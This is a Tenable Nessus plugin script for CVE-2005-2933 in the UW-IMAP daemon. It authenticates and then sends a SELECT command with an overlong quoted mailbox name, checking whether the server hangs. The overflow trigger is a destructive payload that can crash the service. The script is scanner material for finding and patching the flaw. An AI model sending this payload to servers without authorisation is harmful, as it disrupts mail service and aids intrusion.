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HistoryOct 06, 2005 - 12:00 a.m.

UW-IMAP Mailbox Name Buffer Overflow

2005-10-0600:00:00
This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.
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The remote host appears to be running a version of the University of Washington’s IMAP daemon that is prone to a buffer overflow vulnerability involving long mailbox names that begin with a double-quote character. An authenticated attacker may be able to exploit this to execute arbitrary code subject to the privileges of the user.

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(19938);
  script_version("1.16");
  script_cvs_date("Date: 2018/08/06 14:03:14");

  script_cve_id("CVE-2005-2933");
  script_bugtraq_id(15009);

  script_name(english:"UW-IMAP Mailbox Name Buffer Overflow");
  script_summary(english:"Checks for mailbox name buffer overflow in in UW IMAP");

  script_set_attribute(attribute:"synopsis", value:
"The remote IMAP server is prone to a buffer overflow.");
  script_set_attribute(attribute:"description", value:
"The remote host appears to be running a version of the University of
Washington's IMAP daemon that is prone to a buffer overflow
vulnerability involving long mailbox names that begin with a
double-quote character.  An authenticated attacker may be able to
exploit this to execute arbitrary code subject to the privileges of
the user.");
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b983aaaa");
  script_set_attribute(attribute:"solution", value:
"Upgrade to UW IMAP imap-2004g or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"plugin_publication_date", value:"2005/10/06");
  script_set_attribute(attribute:"vuln_publication_date", value:"2005/10/04");
  script_set_attribute(attribute:"patch_publication_date", value:"2005/12/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"Gain a shell remotely");
  script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");

  script_dependencie("imap_overflow.nasl");
  script_require_keys("imap/login", "imap/password");
  script_exclude_keys("imap/false_imap", "imap/overflow");
  script_require_ports("Services/imap", 143);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");


port = get_kb_item("Services/imap");
if (!port) port = 143;
if (!get_port_state(port) || get_kb_item("imap/false_imap")) exit(0);


user = get_kb_item("imap/login");
pass = get_kb_item("imap/password");
if (!user || !pass) {
  exit(0, "imap/login and/or imap/password are empty");
}


# Establish a connection.
tag = 0;
soc = open_sock_tcp(port);
if (!soc) exit(0);

# Read banner.
s = recv_line(socket:soc, length:1024);
if (!strlen(s)) {
  close(soc);
  exit(0);
}

# Try to log in.
#
# - try the PLAIN SASL mechanism.
#   nb: RFC 3501 requires this be supported by imap4rev1 servers, although
#       it may also require SSL / TLS encapsulation.
++tag;
resp = NULL;
c = string("nessus", string(tag), ' AUTHENTICATE "PLAIN"');
send(socket:soc, data:string(c, "\r\n"));
s = recv_line(socket:soc, length:1024);
s = chomp(s);
if (s =~ "^\+") {
  c = base64(str:raw_string(0, user, 0, pass));
  send(socket:soc, data:string(c, "\r\n"));
  while (s = recv_line(socket:soc, length:1024)) {
    s = chomp(s);
    m = eregmatch(pattern:string("^nessus", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
    if (!isnull(m)) {
      resp = m[1];
      break;
    }
  }
}

# If that didn't work, try LOGIN command.
if (isnull(resp)) {
  ++tag;
  resp = NULL;
  c = string("nessus", string(tag), " LOGIN ", user, " ", pass);
  send(socket:soc, data:string(c, "\r\n"));
  while (s = recv_line(socket:soc, length:1024)) {
    s = chomp(s);
    m = eregmatch(pattern:string("^nessus", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
    if (!isnull(m)) {
      resp = m[1];
      break;
    }
  }
}


# If successful, try to exploit the flaw.
if (resp && resp =~ "OK") {
  ++tag;
  resp = NULL;
  c = string("nessus", string(tag), ' SELECT "{localhost/user=\\"', crap(data:"A", length:500) ,'}"');
  send(socket:soc, data:string(c, "\r\n"));
  while (s = recv_line(socket:soc, length:1024)) {
    s = chomp(s);
    m = eregmatch(pattern:string("^nessus", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
    if (!isnull(m)) {
      resp = m[1];
      break;
    }
  }

  # If we didn't get a response, try to send a NOOP just to make sure it's down.
  if (isnull(resp)) {
    # Check if the daemon is hung.
    ++tag;
    resp = NULL;
    c = string("nessus", string(tag), " NOOP");
    send(socket:soc, data:string(c, "\r\n"));
    while (s = recv_line(socket:soc, length:1024)) {
      s = chomp(s);
      m = eregmatch(pattern:string("^nessus", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
      if (!isnull(m)) {
        resp = m[1];
        break;
      }
    }
    if (isnull(resp)) {
      security_warning(port);
      exit(0);
    }
  }
}
else if (resp =~ "NO") {
  debug_print("could not login with supplied IMAP credentials");
}


# Logout.
++tag;
resp = NULL;
c = string("nessus", string(tag), " LOGOUT");
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
  s = chomp(s);
  m = eregmatch(pattern:string("^nessus", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
  if (!isnull(m)) {
    resp = m[1];
    break;
  }
}
close(soc);